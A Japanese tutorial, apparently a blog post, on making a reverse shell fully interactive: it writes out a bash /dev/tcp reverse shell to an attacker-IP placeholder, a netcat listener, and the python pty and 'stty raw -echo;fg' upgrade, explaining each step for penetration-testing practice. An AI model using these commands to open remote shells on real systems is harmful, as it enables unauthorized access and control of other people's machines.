リバースシェルを使いやすくする
bash -i >& /dev/tcp/攻撃者のipアドレス/ポート番号 0>&1
で
netcat -lvnp 4242
のようなリバースシェルでは、↑キーを押しても ^[[A
のような文字が出るし、タブキーを押してもディレクトリの補完をしてくれないから使いにくい。
このような現象(ダムシェル)を回避するための試行錯誤。
参考: https://www.amazon.co.jp/dp/4798174572
ダムシェルを修正する一連の流れ
Aを被攻撃者のマシン、Bを攻撃者のマシンとする。
- リバースシェルの接続
-
bash -c 'bash -i >& /dev/tcp/攻撃者のipアドレス/ポート番号 0>&1'
A -
netcat -lvnp 4242
B
で接続。
- ダムシェルの修正
Bの画面で以下の内容を上から順番に実行。
python -c 'import pty; pty.spawn("/bin/bash")'
- Ctrl+Z (接続が確認された後に実行)
-
stty raw -echo;fg
(Bのローカルマシンで実行する形になるが気にせず、入力→実行) - (何も画面が出ないがエンターキーを入力)
でタブ補完や、十字キーでのターミナルの操作が可能(vimなども動作可能)
bash -cの意味
bash -c 'コマンド'
のように使う。
新しいbashプロセスを起動して、''内に入力したコマンドを実行する。
つまりこれ↓は、
bash -c 'bash -i >& /dev/tcp/攻撃者のipアドレス/ポート番号 0&>1'
bashシェル内の新しいbashプロセスで、攻撃者のマシンに接続を行っている。
(接続先のマシンがbashシェルで動いているのであれば、新しいbashを作成しなくてもOK。>&
のリダイレクト構文が解釈できるシェルがあることが判断基準)
python -c 'import pty; pty.spawn("/bin/bash")'
擬似端末(pty)を起動するのに必要。
疑似端末の説明は省略するが、これでダムシェルの問題を解決できる手段を得られる。
Ctrl+Z
Ctrl+Zを入力すると、リバースシェルの実行が中断されるため、同時に接続が中断される。
直感的には、マシンAのプロセスを中止できそうだが、マシンBのプロセスに対するCtrl+Zのシグナルの送付が優先されるので、マシンAの実行を中断できない。
つまりマシンBの実行(リバースシェル)が中断されるので、マシンAの実行を中断できない。
この時接続が解除されたように見えるが、Ctrl+Zはプロセスの一時中断のため実際には、接続が中断されているだけなので安心。(中断なので再開できる)
stty raw -echo;fg
stty raw -echo
はターミナルを「生の状態にし、入力した文字内容を画面に表示しない設定」にする。
stty raw
は、端末の入力した文字をそのままOSに渡す役割。
入力した情報をそのままコンピュータに送るということなので、Ctrl+Cなどの強制終了のコマンドもそのまま文字列として送られる。これにより実行した処理の強制終了ができなくなる。
また改行処理も若干変わり、改行を含んだコマンドの表示がおかしくなる。
-echo
は、ユーザーが入力した文字を画面に表示しない設定。実際にstty -echo
をすると、入力したコマンドの文字列が表示されなくなる。
この設定により、ターミナルに何を入力しても何も画面に出力されないし、普段文章を打つときに使っている一部キーが意図通りに入力できなくなる。
自分のマシンでこれをすることで何が幸せなのかというと....
;fg
はフォアグラウンドを起動。(;はコマンドで次のコマンドの意味)
フォアグラウンドは、前面に出ているプログラムのこと。linuxのコマンドの場合、中断したプロセスを再起動できる。何か他のことをしていなければ、中断したリバースシェルの接続がプログラムとして残っているので、reverse shell のプロセスを復活 → 再接続を行うことができる。
小まとめ
ここまでで、相手のマシンのターミナルの設定を変更したように思えないが、実はこれで良い。
ミソはstty raw -echo
の、「入力した情報をそのままコンピュータに送る」+「入力を画面に表示しない」
「入力した情報をそのままコンピュータに送る」によってCtrl+Zのような情報が、マシンBに優先されなくなる。(文字列をそのままBのマシンに送っているだけなので、中断のシグナルが優先されない)
「入力を画面に表示しない」によって、マシンBで表示される入力情報が表示されなくなり、マシンAからの出力が明瞭になる※。
なお;fg
で1行のコマンドにしているのは、stty raw -echo
によって入力した内容が表示されず、何をしているのかわからない部分を防ぐため。
(何も画面が出ないがエンターキーを入力)
リバースシェルが再開しても、一度目はプロンプトが表示されないため、エンターキーを1回押すことで正常なプロンプトを画面に表示させる。
エンターを押す前から若干表示はおかしいが、stty raw -echo;fg
を実行した時点で、元のリバースシェルに戻っているのでコマンドの入力を受け付けている。
まとめ
-
python -c 'import pty; pty.spawn("/bin/bash")'
疑似端末の起動により、履歴機能やタブキーによる補完機能を有効にする。 -
Ctrl+Z &
stty raw -echo;fg
再接続によるリバースシェルの視認性の向上+シグナルの送付を可能にする。
その他備考
- 「入力を画面に表示しない」によって、マシンBで表示される入力情報が表示されなくなり、マシンAからの出力が明瞭になる※。について
stty raw -echo
の-echo
の役割について
stty raw
で再度リバースシェルの状態にすると、Aの端末に入力した情報と、Bの端末に入力した情報の両方が表示され、二重表現になる
例: ls
→ llss
これは、マシンAのbashの入力と出力の表示と、マシンBの入力と出力の表示が同時にターミナル上で表現されるため。
リバースシェルでは攻撃先のマシンAの情報が見えればいいので、マシンBの入力したコマンドが見えない方が良い。なのでマシンBでstty raw -echo
を実行する。
Discussion